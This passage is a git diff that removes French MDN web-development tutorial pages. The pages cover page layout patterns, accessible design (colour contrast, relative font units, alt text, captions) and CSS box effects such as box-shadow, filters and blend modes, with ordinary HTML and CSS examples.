Il peut s'agir : -
    -
  1. d'informations complémentaires au contenu principal ;
    2. -
  2. d'informations partagées entre un sous-ensemble de pages ;
    3. -
  3. d'un moyen alternatif de navigation. En fait, ce peut être un peu tout ce qui est superflu par rapport au contenu principal.
    4. -
-
-
Bas de page
-
Visible au bas de chaque page du site, cette section contient, tout comme l'en-tête, des informations pertinentes pour l'ensemble des pages. On peut, entre autres, y trouver les mentions légales et les informations nécessaires pour contacter les responsables du site.
-
- -

Ces quatre sections sont généralement présentes, mais elles peuvent être disposées de plusieurs façons distinctes. Voici quelques exemples de dispositions possibles (où 1 représente l'entête ; 2,  le bas de page ; A, le contenu principal ; et B1, B2, le contenu secondaire) :

- -

Dispostion à une colonne : particulièrement utile pour l'affichage sur téléphone mobile, car cette disposition évite d'encombrer les petits écrans.

- -

Example of a 1 column layout: Main on top and asides stacked beneath it.

- -

Disposition à deux colonnes : souvent utilisée pour l'affichage sur tablettes, car elles disposent d'un écran de taille moyenne.

- -

 Example of a basic 2 column layout: One aside on the left column, and main on the right column. Example of a basic 2 column layout: One aside on the right column, and main on the left column.

- -

Disposition à trois colonnes : adaptée uniquement pour les ordinateurs de bureau ayant un grand écran (et encore, cela est relatif, car plusieurs utilisateurs d'ordinateurs de bureau préférent visionner les sites dans des fenêtres de taille réduite plutôt qu'en mode plein écran).

- -

Example of a basic 3 column layout: Aside on the left and right column, Main on the middle column. Another example of a 3 column layout: Aside side by side on the left, Main on the right column. Another example of a 3 column layout: Aside side by side on the right, Main on the left column.

- -

Il est aussi possible de mélanger tous ces modèles classiques :

- -

Example of mixed layout: Main on top and asides beneath it side by side. Example of a mixed layout: Main on the left column and asides stack on top of each other on the right column Example of a mixed layout: one aside on the left column and main in the right column with a aside beneath main. Example of a mixed layout: Main on the left of the first row and one aside on the right of that same row, a second aside convering the whole second row.…

- -

Sachez que ce ne sont que des exemples et que vous êtes libre de disposer les sections à votre façon. Vous remarquerez toutefois que l'en-tête demeure toujours en haut et le bas de page, en bas, peu importe les autres déplacements du contenu. Aussi, comme la section la plus importante est celle du contenu principal, assurez-vous d'y laisser le plus de place possible.

- -

Ce sont là des règles générales dont vous pouvez vous inspirer. Bien entendu, il existera toujours des exceptions aux règles et des mises en page plus complexes. Nous discuterons d'ailleurs, dans d'autres articles, de la création de sites webs adaptatifs (c'est-à-dire qui s'ajustent à la taille de l'écran) et de sites utilisant plus d'un modèle de mise en page selon la page consultée. Pour l'instant, il serait cependant mieux de garder une mise en page uniforme sur l'ensemble de votre site.

- -

Pédagogie active

- -

Aucun exercice pratique n'est disponible actuellement. S.V.P., pensez à contribuer !

- -

Aller plus loin

- -

Regardons maintenant quelques exemples concrets tirés de sites connus.

- -

Disposition à une colonne

- -

Invision : un exemple de disposition classique à une colonne où toute l'information est présentée de façon linéaire sur une page.

- -

Example of a 1 column layout in the wild        1 column layout with header, main content, a stack of aside contents and a footer

- -

Un style simple et direct.  N'oubliez pas, toutefois, que certains utilisateurs navigeront à partir d'un ordinateur de bureau et qu'il faut donc s'assurer que le contenu soit accessible sur cette plateforme également.

- -

Disposition à deux colonnes

- -

Abduzeedo, un blog à disposition simple. En règle générale, les blogs comprennent deux colonnes : une large pour le contenu principal et une plus étroite pour les à-côtés (comme des widgets, les menus de navigation et les publicités).

- -

Example of a 2 column layout for a blog        A 2 column layout with the main content on the left column

- -

Dans cet exemple, regardez bien l'image (B1) située directement sous l'en-tête. L'image est en rapport avec le contenu principal, mais n'est pas essentielle à sa compréhension. Nous pourrions donc considérer que l'image fait partie du contenu principal ou bien qu'il s'agit d'un à-côté (contenu secondaire).  La distinction importe peu. Ce qui est vraiment important, c'est qu'un élément placé directement sous l'en-tête devrait soit faire partie du contenu principal, soit y être directement relié.

- -

Attention, c'est un piège !

- -

MICA. Cet exemple est un peu plus embêtant. On dirait une disposition à trois colonnes…

- -

Example of a false 3 columns layout        It looks like a 3 columns layout but actually, the aside content is floating around.

- -

…mais non ! B1 et B2 flottent autour du contenu principal. Rappelez-vousce mot-clé : "flotte" (float en anglais) - nous y reviendrons lorsque vous commencerez à apprendre le {{Glossary("CSS")}}.

- -

Pourquoi êtes-vous porté à penser qu'il s'agit d'une disposition à trois colonnes ? Eh bien, pour trois raisons : parce que l'image en haut à droite est en forme de L, parce que B1 semble être une colonne soutenant un contenu principal décalé vers la gauche et parce le "M" et le "I" du logo de  MICA forment une ligne de force verticale.

- -

Il s'agit ici d'un bon exemple d'une mise en page classique qui a été rehaussée avec un peu de créativité. Les dispositions simples sont plus faciles à mettre en place, mais ne devraient pas restreindre votre créativité.

- -

Une disposition en apparence beaucoup plus complexe

- -

L'Opéra de Paris.

- -

An example of a tricky layout.        This is a 2 column layout but the header is overlaping the main content.

- -

Il s'agit à la base d'une disposition à deux colonnes, mais vous noterez quelques ajustements ici et là qui viennent rompre la linéarité de la disposition. On remarque surtout que l'en-tête est superposée à l'image du contenu principal. En raison de la courbe du menu de navigation qui rappelle celle au bas de l'image principale, l'en-tête et l'image semblent former un seul élément uni alors qu'il s'agit en fait d'éléments techniquement distincts.  L'exemple de l'Opéra de Paris semble plus complexe à réaliser que celui de MICA, mais est en réalité plus facile à mettre en place (la facilité étant bien entendu, un concept plutôt relatif).

- -

Comme vous pouvez le voir, il est possible de créer des sites sensationnels avec des mises en page somme toute assez simples. Jetez un coup d'œil à vos sites préférés. Pouvez-vous repérer l'en-tête, le bas de page, le contenu principal et le contenu secondaire ? Cet exercice pourra vous fournir de l'inspiration pour vos propres réalisations et vous aider à distinguer les dispositions qui fonctionnent bien de celles qui posent problème.

- -

Prochaines étapes

- -

Deux options s'offrent maintenant à vous :

- - diff --git a/files/fr/apprendre/concevoir_site_tous_types_utilisateurs/index.html b/files/fr/apprendre/concevoir_site_tous_types_utilisateurs/index.html deleted file mode 100644 index 8d6ae0ad6a..0000000000 --- a/files/fr/apprendre/concevoir_site_tous_types_utilisateurs/index.html +++ /dev/null @@ -1,247 +0,0 @@ ---- -title: Concevoir un site pour tous les types d'utilisateurs -slug: Apprendre/Concevoir_site_tous_types_utilisateurs -tags: - - Accessibility - - Beginner - - Design - - Mobile - - NeedsActiveLearning -translation_of: Learn/Common_questions/Design_for_all_types_of_users ---- -
{{IncludeSubnav("/fr/Apprendre")}}
-
-

Cet article aborde les concepts de bases pour vous aider à construire des sites web accessibles à tous.

-
- - - - - - - - - - - - -
Prérequis :Avoir lu Qu'est-ce que l'accessibilité ? (l'accessibilité n'est pas approfondie en détails ici) et s'être familiarisé-e avec l'anatomie d'une page web.
Objectifs :Être en mesure de concevoir un site pour tous, quelles que soient les contraintes techniques ou celles de handicap. Cet article liste les points les plus importants et facile à mettre en œuvre pour atteindre un tel objectif.
- -

Lors de la construction d'un site, il faut entre autres garder à l'esprit qu'un site doit être accessible à tous, quelles que soient les contraintes de handicap, les contraintes techniques, la culture, le lieu depuis lequel le site est consulté, etc.

- -

Pédagogie active

- -

Il n'y a, pour le moment, pas de matériau pour la pédagogie active. Cependant, vous pouvez contribuer.

- -

Aller plus loin

- -

Le contraste des couleurs

- -

Afin que le texte soit lisible, il faut utiliser une couleur de texte qui contraste suffisamment avec la couleur utilisée en arrière plan. Ce contraste est important pour que les personnes atteintes d'une déficience visuelle puissent lire le texte, il en va de même pour les personnes qui visitent le site et le lisent sur un écran de téléphone dans une rue au soleil.

- -

Le {{Glossary("W3C")}} définit ce qui peut être une bonne association de couleur grâce à un algorithme qui calcule le ratio de luminosité entre l'arrière plan et le premier plan. Ce calcul peut être un peu compliqué mais est utile pour indiquer la qualité du contraste.

- -

Pour contrôler le contraste, vous pouvez télécharger et installer l'analyseur de contraste du Groupe Paciello.

- -
-

Note : Sinon, vous pouvez également trouver différents vérificateurs de contrastes disponibles en ligne, par exemple celui de WebAIM : Color Contrast Checker. Il est préférable d'utiliser un vérificateur qui fonctionne en local sur votre ordinateur car généralement, ceux-ci ont également une pipette qui permet de prélever la valeur d'une couleur sur tout l'écran.

-
- -

Par exemple, testons les couleurs de cette page et voyons ce que cela donne avec l'outil d'analyse de contraste :

- -

Colour contrast on this page: excellent!

- -

Le ratio de contraste pour la luminosité entre le texte est l'arrière plan est de 8.30:1, ce qui est mieux que le minimum recommandé par le standard (4.5:1). Avec cette valeur, de nombreuses personnes devraient être en mesure de lire le texte..

- -

Taille de police (ou taille de fonte)

- -

La taille de la police utilisée dans un site web peut être définie en unités absolues ou en unités relatives.

- -

Les unités absolues

- -

Les unités absolues ne sont pas calculées proportionnellement entre elles mais font plutôt référence à une valeur « dure », la plupart du temps, elles sont exprimées en pixels (px). Par exemple, si, dans votre fichier CSS, vous déclarez la règle suivante :

- -
body { font-size:16px; }
- -

… vous indiquez au navigateur que, quoi qu'il arrive, la taille de la police doit être 16 pixels. Les navigateurs récents interprèteront cette règle de la façon suivante : « utiliser une police sur 16 pixels quand l'utilisateur a un niveau de zoom de 100% ».

- -

Cependant, pendant plusieurs années, Internet Explorer (jusqu'à Internet Explorer 8) affichait dans tous les cas 16 pixels. Le zoom n'avait aucun effet.

- -

Les unités relatives

- -

Également appelées unités proportionnelles, les unités relatives sont calculées relativement à l'élément parent. Les unités relatives sont plus pratiques en termes d'accessibilité car elles permettent de respecter plus simplement les paramètres choisis par l'utilisateur.

- -

Les unités relatives sont exprimées en em, % et rem:

- -
-
Les tailles exprimées en pourcentages : %
-
Cette unité permet d'indiquer au navigateur que la taille de police d'un élément doit représenter N% de la taille de police de l'élément précédent. Si aucun élément parent n'est trouvé, c'est la taille de police par défaut du navigateur qui est utilisée comme base de calcul (généralement, cette dernière est équivalente à 16 pixels).
-
Les tailles exprimées en em : em
-
Cette unité est calculée de la même façon que les pourcentages sauf qu'ici, il s'agit d'un ratio par rapport à 1 et non d'un ratio par rapport à 100. L'unité est appelée « em » car elle correspond à la largeur d'un « M » majuscule (un « M » tient approximativement dans un carré dont on dira que la largeur vaut 1 em).
-
Les tailles exprimées en rem : rem
-
Cette unité est proportionnelle à la taille de police de l'élément racine et est exprimée en ratio par rapport à 1, comme avec em.
-
- -

Imaginons que la taille de police de base soit 16px et qu'on ait un titre principal (h1) dont la taille soit équivalente à 32px et qu'au sein de ce <h1> on ait un élément span avec une classe subheading, celui-ci devant également être affiché avec la taille par défaut (généralement 16px).

- -

Voici le code HTML qu'on utilisera :

- -
<!DOCTYPE html>
-<html lang="fr">
-<head>
-    <meta charset="UTF-8">
-    <title>Tests sur les tailles de police</title>
-</head>
-<body>
-
-    <h1>Voici notre titre principal
-        <span class="subheading">Et voici notre sous-titre</span>
-    </h1>
-
-</body>
-</html>
- -

Un fichier CSS utilisant des unités exprimées en pourcentages pourrait être :

- -
body { font-size:100%; }
-/* 100% de la taille de base du navigateur, en
-général, le texte sera affiché sur 16 pixels */
-
-h1 { font-size:200%; }
-/* Deux fois la taille du corps de la page,
-soit 32 pixels */
-
-span.subheading { font-size:50%; }
-/* La moitié du h1,soit 16 pixels, ce qui revient
-à la taille de base originelle */
-
- -

Voici le fichier CSS équivalent, avec des valeurs exprimées en ems :

- -
body { font-size:1em; }
-/* 1em = 100% de la taille de base du navigateur
-dans la plupart des cas ça correspondra à 16 pixels */
-
-h1 { font-size:2em; }
-/* deux fois la taille du coros, soit 32 pixels */
-
-span.subheading { font-size:0.5em; }
-/* la moitié de la taille de h1, 16 pixels
-ce qui revient à taille originelle */
- -

Comme vous pouvez l'observer, cela devient rapidement complexe lorsqu'il faut se souvenir de la taille du parent du parent et du parent du parent du parent, etc.

- -

C'est là qu'interviennent les rem. Cette unité est relative à la taille de l'élément racine de la page et non au parent de l'élément. Le fichier CSS correspond peut ainsi être réécrit de cette façon :

- -
body { font-size:1em; }
-/* 1em = 100% de la taille de base du navigateur,
-soit 16 pixels dans la plupart des cas */
-
-h1 { font-size:2rem; }
-/* deux fois la taille du corps soit 32 pixels */
-
-span.subheading { font-size:1rem; }
-/* la taille originale */
- -

C'est plus facile de cette façon, n'est-ce pas ? Cela fonctionne, à partir d'Internet Explorer 9 et dans n'importe quel autre navigateur récent, n'hésitez pas à l'utiliser.

- -
-

Note : Vous remarquerez qu'Opera Mini ne supporte pas les tailles de police exprimées en rem, il utilisera sa propre taille de police.

-
- -

Pourquoi aurais-je besoin d'utiliser des unités proportionnelles ?

- -

Pour plusieurs raisons et notamment parce que vous ne connaissez pas le moment où le navigateur refusera de suivre le zoom pour une police exprimée en pixels. Si vous analysez les statistiques de visites, vous verrez que certaines personnes utilisent toujours d'anciens navigateurs, les unités relatives sont plus simples à gérer pour ceux-ci.

- -

Il est généralement conseillé de :

- - - -
-

Note : Votre utilisation de ces unités pourra varier. S'il est nécessaire pour vous de gérer les anciens navigateurs, vous aurez besoin d'utiliser des ems, quitte à faire un peu de mathématique en chemin.

-
- -

Largeur de ligne

- -

Il y a depuis toujours sur le Web un débat sur la longueur que doit occuper une ligne. Mais cela n'est pas apparu avec le Web. Déjà avec les journaux, les imprimeurs avaient réalisé que si les lignes étaient trop longues, les lecteurs avaient du mal à suivre chaque ligne du début à la fin. Une solution fut trouvée à ce problème : organiser le texte en colonnes.

- -

Bien entendu, ce problème n'a pas disparu avec le Web. Les yeux d'un lecteur sont comme une navette qui va d'une ligne à une autre. Pour simplifier ce trajet, il est préconisé que les lignes s'étendent entre 60 et 70 caractères.

- -

Pour obtenir cet effet, il est possible de définir une taille spécifique pour le conteneur du texte. Voila ce que ça donne en HTML :

- -
<!DOCTYPE html>
-<html lang="fr">
-<head>
-    <meta charset="UTF-8">
-    <title>Tests sur les tailles de police</title>
-</head>
-<body>
-
-<div class="container">
-    <h1>Le titre principal
-        <span class="subheading">Et le sous-titre</span>
-    </h1>
-
-    <p>[Un grand texte qui s'étire sur plusieurs lignes]</p>
-</div>
-
-</body>
-</html>
- -

Ici, nous avons un div avec une classe container. Il est possible de mettre en forme le div en réglant sa largeur avec la propriété width ou en réglant sa largeur maximale afin qu'il ne soit jamais trop grand, grâce à sa propriété max-width. Si vous souhaitez avoir un site adaptatif ou élastique et que vous ne connaissez pas la largeur par défaut du navigateur, vous pouvez utiliser la propriété max-width pour avoir au maximum 70 caractères par ligne :

- -
div.container { max-width:70em; }
- -

Fournir un contenu alternative pour les images, les sons et les vidéos

- -

Il arrive fréquemment que les pages web ne contiennent pas seulement du texte.

- -

Les images

- -

Les images d'une page web peuvent être décoratives ou informatives mais il n'est pas garanti que vos utilisateurs puissent les voir. Par exemple :

- - - -
-
Les images décoratives
-
Ces images servent uniquement à décorer et ne contiennent pas d'informations utiles à la compréhension de la page. Elles pourraient généralement être remplacées par une image d'arrière-plan. Assurez-vous de fournir un texte alternatif vide grâce à l'attribut alt : <img src="deco.gif" alt=""> afin qu'elles n'encombrent pas le texte.
-
Les images informatives
-
Celles-ci apportent des informations nécessaires à la compréhension de la page, d'où leur nom. Elle peuvent, par exemple, montrer un graphique, décrire le geste d'une personne, etc. Il faut au minimum fournir un attribut alt par rapport au contenu de l'image.
-
- -

Si l'image peut être décrite succintement, vous pouvez fournir un attribut alt qui sera suffisant. En revanche, si l'image ne peut pas être décrite rapidement, il est préférable de fournir un contenu équivalent sous un autre format sur la page (par exemple, si l'image est un graphique en camembert, on pourra fournir le tableau des données numériques) ou sinon, on pourra recourir à un attribut longdesc. La valeur de cet attribut est un URL qui pointe vers une ressource dont le seul but est de décrire en détails le contenu de l'image.

- -
-

Note : L'utilisation voire l'existence de longdesc ont toujours été débatues. Veuillez vous référer à la page du W3C' Image Description Extension (longdesc) pour une explication complète et des exemples détaillés.

-
- -

Audio/Vidéo

- -

Il est également nécessaire de fournir des alternatives à du contenu multimédia.

- -
-
Sous-titrage
-
Les sous-titres sont utiles à toutes les personnes utilisant votre site qui ne peuvent pas entendre la piste audio. Certaines personnes pourraient avoir des difficultés auditives, d'autres pourraient avoir des écouteurs qui ne fonctionnent pas, d'autres encore pourraient être dans un environnement bruyant.
-
Transcription
-
Les sous-titres ne fonctionnent que lorsqu'on regarde la vidéo. Certaines personnes n'ont pas le temps ou les codecs nécessaires pour regarder la vidéo. De plus, les moteurs de recherches utilisent principalement le texte pour indexer le contenu d'un site web. Pour toutes ces raisons, il est préférable de fournir une transcription du fichier audio/vidéo.
-
- -

Compression des images

- -

Certains utilisateurs pourraient avoir choisi d'afficher les images mais pourraient disposer d'une connexion instable ou limité (c'est le cas notamment dans les pays en développement et sur les appareils mobiles). Si vous souhaitez que votre site web soit le plus fonctionnel possible, il est nécessaire de compresser les images. Voici quelques outils pour vous aider à cette tâche (logiciels ou services en ligne) :

- - - -

Prochaines étapes

- -

Cet article ne décrit que les bases d'un design accessible et universel. Si vous souhaitez aller plus loin dan ce domaine, vous pouvez poursuivre avec les bases de l'ergonomie ou UX (User Experience en anglais).

diff --git a/files/fr/apprendre/css/building_blocks/advanced_styling_effects/index.html b/files/fr/apprendre/css/building_blocks/advanced_styling_effects/index.html deleted file mode 100644 index d33fa050a1..0000000000 --- a/files/fr/apprendre/css/building_blocks/advanced_styling_effects/index.html +++ /dev/null @@ -1,435 +0,0 @@ ---- -title: Effets de boîte avancés -slug: Apprendre/CSS/Building_blocks/Advanced_styling_effects -tags: - - Article - - Boîtes - - CSS - - Codage - - Débutant - - Filtres - - Modes de mélange de couleurs - - Stylisation - - effets - - ombres de boîtes -translation_of: Learn/CSS/Building_blocks/Advanced_styling_effects ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/CSS/Styling_boxes/Styling tables", "Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper", "Learn/CSS/Styling_boxes")}}
- -

Cet article est une sorte de boîte à malices : elle introduit certaines des fonctions avancées disponibles pour styliser les boîtes, fonctions n'entrant pas dans catégories vues plus haut — comme les ombres, les mélanges de couleurs ou les filtres.

- - - - - - - - - - - - -
Prérequis :Notions de HTML (voir Introduction à HTML) et idées sur le fonctionnement des CSS (voir Introduction aux CSS).
Objectif :Donner des idées sur l'utilisation d'effets avancés pour les boîtes et apprendre quelques outils de style natifs propres au langage des CSS.
- -

Ombres des boîtes

- -

Revenons au module Styling text — nous y avons vu la propriété {{cssxref("text-shadow")}} : elle permet d'appliquer une ou plusieurs ombres portées au texte d'un élément. Il existe une propriété équivalente pour les boîtes — {{cssxref("box-shadow")}} : elle applique une ou plusieurs ombres portées à une boîte d'élément réelle. Tout comme les ombres de texte, les ombres de boîtes sont bien prises en charge par les navigateurs, mais seulement au-delà de IE9. Les utilisateurs des anciennes versions d'IE pourraient être confrontés à l'absence d'ombres ; donc, testez simplement vos designs pour être sûr que le contenu reste lisible sans ombrage.

- -

Vous trouverez les exemples de cet article dans le fichier  box-shadow.html (voir le code source également).

- -

Ombre simple pour une boîte

- -

Débutons avec un exemple simple. D'abord, un peu de HTML :

- -
-
<article class="simple">
-  <p><strong>Attention</strong> : Le thermostat sur le transcendeur cosmique a atteint un niveau critique.</p>
-</article>
- -

Puis la CSS:

- -
p {
-  margin: 0;
-}
-
-article {
-  max-width: 500px;
-  padding: 10px;
-  color: white ;
-  text-align: center ;
-  background-color: red;
-  background-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.25));
-}
-
-.simple {
-  box-shadow: 5px 5px 5px rgba(0,0,0,0.7);
-}
-
- -

donnent le résultat suivant :

- -

{{ EmbedLiveSample('example_1', '100%', 100) }}

- -

Notez les quatre éléments valeur de la propriété box-shadow :

- -
    -
  1. La première valeur est la mesure du décalage horizontal — distance entre la droite de l'ombre (ou la gauche si négative) et la boîte.
    2. -
  2. La deuxième valeur est la mesure du décalage vertical — distance vers le bas (vers le haut si négative) dont l'ombre est décalée de la boîte.
    3. -
  3. La troisième valeur est le rayon de flou — il représente la « quantité » de flou appliquée à l'ombre.
    4. -
  4. La valeur de la couleur : couleur de base de l'ombre.
    5. -
- -

Vous pouvez utiliser toutes unités de longueur et de couleur utiles pour définir ces valeurs.

- -

Ombres multiples pour une boîte

- -

Vous pouvez également définir plusieurs ombres de boîtes dans une seule déclaration en les séparant par des virgules :

- -
- - -
p {
-  margin: 0;
-}
-
-article {
-  max-width: 500px;
-  padding: 10px;
-  color: white;
-  text-align: center;
-  background-color: red;
-  background-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.25)); }
-
-.multiple { box-shadow: 1px 1px 1px black,
-                        2px 2px 1px black,
-                        3px 3px 1px red,
-                        4px 4px 1px red,
-                        5px 5px 1px black,
-                        6px 6px 1px black; }
-
-
- -

Nous obtenons le résultat suivant :

- -

{{ EmbedLiveSample('example_2', '100%', 100) }}

- -

Voici quelque chose d'amusant : nous créons une boîte avec une impression de relief avec plusieurs couches de couleur. Vous pouvez utiliser ce procédé d'autre manière, par exemple pour donner une apparence plus réaliste avec des ombres à partir de plusieurs sources de lumière.

- -

Autres fonctionnalités des ombres de boîtes

- -

Contrairement à {{cssxref("text-shadow")}}, {{cssxref("box-shadow")}} dispose du mot‑clé inset — le faire précéder une déclaration d'ombre fera que l'ombre sera interne et non externe. Voyons ce que cela signifie.

- -

D'abord un HTML différent pour cet exemple :

- -
-
<button>Appuyez ici !</button>
- -
button {
-  width: 150px;
-  font-size: 1.1rem;
-  line-height: 2;
-  border-radius: 10px;
-  border: none;
-  background-image: linear-gradient(to bottom right, #777, #ddd);
-  box-shadow: 1px 1px 1px black,
-              inset 2px 3px 5px rgba(0,0,0,0.3),
-              inset -2px -3px 5px rgba(255,255,255,0.5);
-}
-
-button:focus, button:hover {
-  background-image: linear-gradient(to bottom right, #888, #eee);
-}
-
-button:active {
-  box-shadow: inset 2px 2px 1px black,
-              inset 2px 3px 5px rgba(0,0,0,0.3),
-              inset -2px -3px 5px rgba(255,255,255,0.5);
-}
-
- -

Et voici le résultat :

- -

{{ EmbedLiveSample('example_3', '100%', 70) }}

- -

 

- -

Ici, nous avons mis en place un style de bouton avec des états différents selon qu'il a le focus, qu'il est survolé par le pointeur de souris ou qu'il est actif. Le bouton est doté d'une simple ombre noire définie par défaut, plus deux ombres d'insertion, l'une claire et l'autre sombre, placées sur les coins opposés du bouton pour lui donner un bel effet d'ombrage.

- -

Lorsque le bouton est cliqué, l'état actif entraîne le remplacement de la première ombre de la boîte par une ombre d'insertion très sombre, donnant l'apparence que le bouton est enfoncé.

- -
-

Note : il y a un autre élément qui peut être paramétré parmi les valeurs de box-shadow  — une autre valeur de longueur peut être facultativement définie juste avant la définition de la couleur : le rayon de diffusion. S'il est défini, l'ombre devient plus grande que la boîte originelle. Ce paramètre n'est pas couramment utilisé, mais il est bon de le signaler.

-
- -

Filtres

- -

Les filtres des CSS s'appliquent aux éléments de la même manière qu'on applique un filtre à un calque dans un logiciel graphique comme Photoshop. Diverses options différentes sont disponibles :  vous pouvez en prendre connaissance plus en détail sur la page de référence {{cssxref("filter")}}. Dans cette section, nous vous expliquons la syntaxe et vous montrons à quel point les résultats peuvent être amusants.

- -

Fondamentalement, un filtre peut être appliqué à n'importe quel élément, bloc ou en ligne — il suffit d'utiliser la propriété filter et lui donner une valeur de fonction de filtrage particulière. Certaines options de filtrage disponibles font des choses tout à fait similaires à d'autres fonctionnalités des CSS, par exemple drop-shadow() fonctionne de manière semblable à {{cssxref("box-shadow")}} ou {{cssxref("text-shadow")}}  et donne des effets analogues.  Mieux encore, les filtres travaillent sur les formes exactes du contenu à l'intérieur de la boîte, pas seulement la boîte elle-même comme un ensemble. Cela peut donner des choses plus jolies, même si ce n'est pas toujours ce que vous vouliez. Prenons un exemple simple pour illustrer ce qui précède :

- -

Tout d'abord, un HTML simple :

- -
<p class="filter">Filtre</p>
-
-<p class="box-shadow">Ombre de boîte</p>
-
- -

Et maintenant un peu de CSS pour créer une ombre portée à chacun :

- -
p {
-  margin: 1rem auto;
-  padding: 20px;
-  text-align: center ;
-  width: 100px;
-  border: 5px dashed red;
-}
-
-.filter {
-  -webkit-filter: drop-shadow(5px 5px 1px rgba(0,0,0,0.7));
-  filter: drop-shadow(5px 5px 1px rgba(0,0,0,0.7));
-}
-
-.box-shadow {
-  box-shadow: 5px 5px 1px rgba(0,0,0,0.7);
-}
- -

Vous obtiendrez le résultat suivant :

- -

{{ EmbedLiveSample('Filtres', '100%', 200) }}

- -

Comme vous pouvez le voir, l'ombre portée obtenue avec le filtre est une réplique de la forme exacte du texte et du tireté de l'encadrement. L'ombre de la boîte est celle du rectangle opaque du conteneur.

- -

Quelques autres points à noter :

- - - -
-

Note : Si vous décidez d'utiliser des préfixes dans votre code, assurez-vous d'inclure tous les préfixes requis ainsi que la version non préfixée, afin que le plus grand nombre possible de navigateurs puissent utiliser la fonction, et lorsque les navigateurs abandonneront plus tard les préfixes, ils pourront également utiliser la version non préfixée. Soyez également averti que ces caractéristiques expérimentales pourraient changer, de sorte que votre code pourrait casser. Il est vraiment préférable d'expérimenter avec ces fonctions jusqu'à ce que les préfixes soient supprimés.

-
- -

Vous pouvez voir d'autres exemples de filtres sur filters.html (voir aussi le code source).

- -

Modes de mélange de couleurs

- -

Les modes de mélanges de couleurs des CSS  permettent d'effectuer des combinaisons de formes et de couleurs entre deux éléments superposés — la couleur finale montrée pour chaque pixel est le résultat d'une combinaison de la couleur originale du pixel et de celle du pixel dans le calque de superposition. Ces modes de mélange sont des procédés familiers aux utilisateurs d'applications graphiques comme Photoshop.

- -

Deux propriétés utilisent les modes de mélange de couleurs dans les CSS :

- - - -

Vous trouverez beaucoup plus d'exemples de ce qui est disponible à la page blend-modes.html  (voir aussi le code source) et à la page de référence de {{cssxref("<blend-mode>")}}.

- -
-

Note : Les modes de mélange sont aussi une toute nouvelle fonctionnalité un petit peu moins bien prise en charge que les filtres. Il n'y a pas de prise en charge encore dans Edge et Safari ne l'accepte que partiellement.

-
- -

background-blend-mode

- -

Regardons à nouveau des exemples pour mieux comprendre. D'abord, {{cssxref("background-blend-mode")}} — nous montrons une couple de simples éléments {{htmlelement("div")}} avec lesquels vous pourrez comparer l'original et la version avec mélange de couleurs :

- -
<div>
-</div>
-<div class="multiply">
-</div>
- -

Maintenant la CSS — nous ajoutons aux <div> une image d'arrière‑plan sur un fond vert :

- -
div {
-  width: 250px;
-  height: 130px;
-  padding: 10px;
-  margin: 10px;
-  display: inline-block;
-  background: url(https://mdn.mozillademos.org/files/13090/colorful-heart.png) no-repeat center 20px;
-  background-color: green;
-}
-
-.multiply {
-  background-blend-mode: multiply;
-}
- -

Le résultat obtenu est le suivant  — à gauche l'original et le mode mélange multiply à droite :

- -

{{ EmbedLiveSample('background-blend-mode', '100%', 200) }}

- -

mix-blend-mode

- -

Voyons maintenant {{cssxref("mix-blend-mode")}}. Nous présentons les deux même <div>, mais chacun est posé sur un fond mauve pour montrer les effets du mélange :

- -
<article>
-  Mode sans mélange
-  <div>
-
-  </div>
-  <div>
-  </div>
-</article>
-
-<article>
-  Mélange "multiply"
-  <div class="multiply-mix">
-
-  </div>
-  <div>
-  </div>
-</article>
- -

Voici la CSS avec laquelle nous stylisons :

- -
article {
-  width: 280px;
-  height: 180px;
-  margin: 10px;
-  position: relative;
-  display: inline-block;
-}
-
-div {
-  width: 250px;
-  height: 130px;
-  padding: 10px;
-  margin: 10px;
-}
-
-article div:first-child {
-  position: absolute;
-  top: 10px;
-  left: 0;
-  background: url(https://mdn.mozillademos.org/files/13090/colorful-heart.png) no-repeat center 20px;
-  background-color: green;
-}
-
-article div:last-child {
-  background-color: purple;
-  position: absolute;
-  bottom: -10px;
-  right: 0;
-  z-index: -1;
-}
-
-.multiply-mix {
-  mix-blend-mode: multiply;
-}
- -

Nous obtenons le résultat suivant :

- -

{{ EmbedLiveSample('mix-blend-mode', '100%', 200) }}

- -

Vous voyez ici que mix-blend-mode: multiply; a mélangé non seulement les deux images d'arrière plan, mais également la couleur du <div> situé dessous.

- -
-

Note : Ne vous inquiétez pas si vous ne saisissez pas certaines propriétés de mise en page telles que {{cssxref("position")}}, {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("z-index")}}, etc. Nous en reparlerons en détail dans le module CSS Layout.

-
- -

-webkit-background-clip: text

- -

L'autre fonctionnalité naissante, que nous mentionnons brièvement avant de poursuivre (actuellement prise en charge par Chrome, Safari et Opera, en cours d'implémentation dans Firefox) est la valeur texte pour la propriété {{cssxref("background-clip")}}. Utilisée avec la fonctionnalité propriétaire -webkit-text-fill-color: transparent; cette fonction vous permet de découper les images d'arrière-plan à la forme du texte de l'élément, ce qui donne de jolis effets. Il ne s'agit pas d'une norme officielle, mais elle a été mise en œuvre sur plusieurs navigateurs, car elle est populaire et assez largement utilisée par les développeurs. Utilisées dans ce contexte, les deux propriétés nécessitent un préfixe fournisseur -webkit- même pour les navigateurs non-Webkit/Chrome :

- -
.text-clip {
-  -webkit-background-clip: text;
-  -webkit-text-fill-color: transparent;
-}
- -

Alors pourquoi d'autres navigateurs ont-ils implémenté un préfixe -webkit- ? Principalement pour la compatibilité des navigateurs — tant de développeurs web ont commencé à implémenter des sites web en utilisant le préfixe -webkit- que ces autres navigateurs ont semblé dysfonctionner, alors qu'en fait ils suivaient la norme. Ils ont donc été contraints d'implémenter quelques unes de ces fonctionnalités. Cela met en évidence le danger d'utiliser des fonctionnalités CSS non standard et/ou préfixées dans votre travail — non seulement elles causent des problèmes de compatibilité avec les navigateurs, mais elles sont également sujettes à changement, de sorte que votre code peut casser à tout moment. Il vaut beaucoup mieux s'en tenir aux normes.

- -

Si vous voulez utiliser de telles fonctionnalités dans votre travail de production, assurez-vous de tester minutieusement tous les navigateurs et vérifiez que, lorsque ces fonctionnalités ne sont pas prises en charge , le site reste toujours utilisable.

- -
-

Note : Pour un exemple de code complet avec -webkit-background-clip: text,  allez à la page background-clip-text.html (voir aussi le code source).

-
- -

Apprentissage actif : expérimenter certains effets

- -

À votre tour, maintenant. Pour cet apprentissage actif, nous voulons que vous expérimentiez certains effets que nous avons vus ci-dessus avec le code fourni ci-dessous.

- -

